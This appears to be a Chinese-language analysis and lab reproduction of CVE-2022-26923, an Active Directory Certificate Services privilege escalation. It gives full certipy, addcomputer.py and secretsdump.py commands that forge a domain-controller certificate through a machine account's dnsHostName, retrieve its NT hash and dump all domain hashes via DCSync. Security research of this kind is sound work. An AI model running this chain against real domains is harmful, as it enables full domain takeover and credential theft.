Cve 2022 26923分析
CVE-2022-26923分析
作者ly4k的5月11日公布的漏洞
攻击利用过程
certutil -config - -ping
certipy req ‘ekko.local/ae86:Aa1234567@ad2.ekko.local’ -ca ekko-AD2-CA -template User
使用颁发的证书对 KDC 进行 Kerberos 身份验证,并获取该用户的 TGT 票据,并检索NT哈希,如下图所示。
certipy auth -pfx ae86.pfx -username ae86 -domain ekko.local -dc-ip 192.168.1.128
我们知道默认情况下,普通域用户可以注册User证书模板,域计算机可以注册机器Machine证书
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1
计算机用户和普通用户在对AD CS发起请求时,是有不同的模板,用户账号具有用户主体名称UPN(userPrincipalName),反之机器账号则没有。当使用证书进行身份验证时候,KDC会尝试讲UPN从证书映射到用户,用户模板的User msPKI-Certificate-Name-Flag 属性User,可以看到CT_FLAG_SUBJECT_ALT_REQUIRE_UPN。
根据MS-ADTS(3.1.1.5.1.3 Uniqueness Constraints)规范,UPN的值必须是唯一的,这意味着不能有两个相同的UPN值,例如,我们尝试将ae86的UPN修改为linan@ekko.local,会发生约束冲突,因为linan的upn已经被linan用户占用了
查看机器账户的证书模板,发现机器账户需要指定SubjectAltRequireDns(CT_FLAG_SUBJECT_ALT_REQUIRE_DNS)
添加一个机器账号,并为机器账号申请AD CS证书
python3 addcomputer.py ekko.local/ae86:Aa1234567 -method LDAPS -computer-name ekko$ -computer-pass Passw0rd -dc-ip ad1.ekko.local
certipy req ekko.local/ekko$:Passw0rd@ad2.ekko.local -ca ‘ekko-AD2-CA’ -template ‘Machine’
查看机器账户的DnsHostName值
发现dnsHostname名字已经变成ekko.ekko.local
如果把dnshostname的值改成dc计算机账号相同的dnshostname值,是否能够欺骗adcs,请求到ad的证书。很显然这里和之前的漏洞CVE-2021-42287和CVE-2021-42278 nopac的漏洞是类似的,可以看下samaccountname和userprincipalName的区别。
文中并没有提及dnsHostName的属性必须是唯一的,但是对于计算机的创建者来说,拥有对计算机validated write to computer attributes 权限,也就是说,我们可以把ekko$机器账户的dnshostname属性值改成域控的dns主机名
这样执行会产生报错
能够注意到spn的值已经改变,也就是说dnsHostName和spn两个属性是相互关联的,修改了ekko$机器账户的dnsHostName属性时,RestrictedKrbHost/ekko.ekko.local和HOST/ekko.ekko.local两条spn将会更新。
即我们把他改成dnsHostName改成ad1的话那么servicePrincipalName里面的两条就会变成RestrictedKrbHost/ad1.ekko.local和HOST/ad1.ekko.local,字段会和域控的属性重复,而servicePrincipalName属性具有唯一性,所以会和域控的属性引发约束冲突。
但是spn包含的DnsHostName值必须有DnsHostName属性,但是我们可以删除spn包含的dnsHostName值
如下图所示
然后再次尝试修改机器账户的dnsHostName属性值为ad1.ekko.local,这次就会修改成功
继续用机器账户身份使用Machine模板请求证书,该模板应该嵌入了dnsHostName属性作为标识
certipy req ekko.local/ekko$:Passw0rd@ad2.ekko.local -ca ‘ekko-AD2-CA’ -template ‘Machine’
成功获取到ad1.ekko.local的证书,然后我们使用证书进行身份验证,获取到用户的NT哈希
certipy auth -pfx ad1.pfx -dc-ip 192.168.1.128
接下来用NT哈希 Dcsync转储所有用户hash
python3 secretsdump.py ‘ekko.local/ad1$@ad1.ekko.local’ -hashes :3a8af619da8032a36e815ac5f535a8a6
漏洞复现
作者更新了Certipy(https://github.com/ly4k/Certipy),可以轻松创建机器账号并请求证书功能
certipy account create ‘ekko.local/ae86:Aa1234567@ad1.ekko.local’ -user ‘ae86pc’ -dns ‘ad1.ekko.local’
certipy req ‘ekko.local/ae86pc$:SLheJGDAq5KNO2Fe@ad2.ekko.local’ -ca ekko-AD2-CA -template Machine
然后再次dcsync即可
bof实战利用
CVE-2022-26923 DCPWN 机器名后面不加$
参考文献
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
https://github.com/ly4k/Certipy
https://mp.weixin.qq.com/s?src=11×tamp=1652338011&ver=3793&signature=wwbuwQS-1sfdogEkUrXkmBF-hbyTd9xPdTut-LGt3N-G6KYPRdascc9ljW0SFRsrPXEw5rTYW5YDwXoOtc9zL7x6uK50emjjVXL1mvgdF32av8fZAkgTV1Zlgil2p2&new=1